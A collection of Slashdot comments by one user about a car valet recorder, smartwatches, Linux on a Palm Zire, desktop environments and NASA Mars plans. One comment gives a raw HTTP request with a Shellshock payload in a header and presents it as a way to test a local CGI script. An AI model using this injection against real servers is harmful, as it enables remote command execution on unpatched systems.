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Comment: Re:huh? (Score 1) 269

by menkhaura (#48004467) Attached to: 2015 Corvette Valet Mode Recorder Illegal In Some States

I'd love to have a real-life device like that for my car and my bike.

However, not long ago a man was arrested here in Brazil because the trap he made to catch a thief who repeatedly invaded his house killed the vermin. The police didn't act to stop the thefts, only when the victim decided to stand up for himself the law came forward. Against him.

Comment: Re:Not arbitrary variables - QUERY_STRING (Score 4, Informative) 399

by menkhaura (#47987669) Attached to: Remote Exploit Vulnerability Found In Bash

Setup a local cgi script on your Linux machine. Telnet into its port 80. Assuming your cgi script is at /cgi-bin/test.sh, type the following in the telnet prompt:


GET /cgi-bin/um.pl HTTP/1.1
Host: localhost
Custom: () { :; }; while read -r l; do echo $l; done

Press ENTER twice after the last header.

If you don't use a shell builtin, the shell ends with a segfault and Apache shows an error, but the command is executed server-side. Scary.

Comment: Re:Very skeptical (Score 1) 471

by menkhaura (#47873137) Attached to: Ask Slashdot: What Smartwatch Apps Could You See Yourself Using?

My watch has a clock app and a slide-rule app, long battery life (3+ years), water proof to 200m (657 ft), and a user interface proven to work well over the centuries. Only thing that doesn't match your requirements is price is around 200 dollars. It's kinda hard to install new apps too.

Comment: Re:Not exactly what your asking for. (Score 1) 170

I ran Linux (OE) on my Zire 72 back in the day. As you say, not quite useful; slow and with few utilities (and running X was a bit overkill on that platform). But I could say to my nerdy friends that I ran Linux even on my Zire. And now I can tell my nerdy son that I ran Linux on my Zire. And in time I will be able to tell my nerdy grandson that I ran Linux on my Zire.

Comment: Re:And that will also mark (Score 1) 378

by menkhaura (#41942731) Attached to: GNOME 3.8 To Scrap Fallback Mode

Eight gigs should be enough for anyone. Actually my DE of choice is KDE, since 0.x and proprietary Qt. I've dabbled with GNOME, XFCE, WindowMaker in its time, AfterStep in its time, but none of them gets nearly as close as KDE.

On amnesiac machines, I just run fluxbox (and hope Firefox doesn't thrash too much).

Comment: Re:Neither Moon nor LEO nor L2 (Score 1) 122

by menkhaura (#41942563) Attached to: NASA Pondering L2 Outpost, Return To Moon

Well, I confess I'm not a conoisseur of these subjects, but the technology he proposes is one we've had (not really "we", but you Americans) since the 60's: Saturn V launchers, habitation modules akin to the Lunar Module AND the ISS etc. Maybe I'm too easily influenced, maybe I'm too hopeful, but I'm inclined to believe what he said.

As for the amortized costs, what you said is true if we consider "one mission" two, four, six or another even number of lauches as a whole (to put a crew on Mars, Zubrin proposes one uncrewed launch which will prepare the terrain for a follow-up manned launch), but the greatest expenditure will be the design and implementation of this first pair of launches.

He also argues that the proposal for utopical launches, "Battlestar Galactica" style ships (as he words it), which can be postponed to the future until "adequate technology" is developed, is of interest to government contractors, but not to our own wish of sending humans to Mars ASAP.

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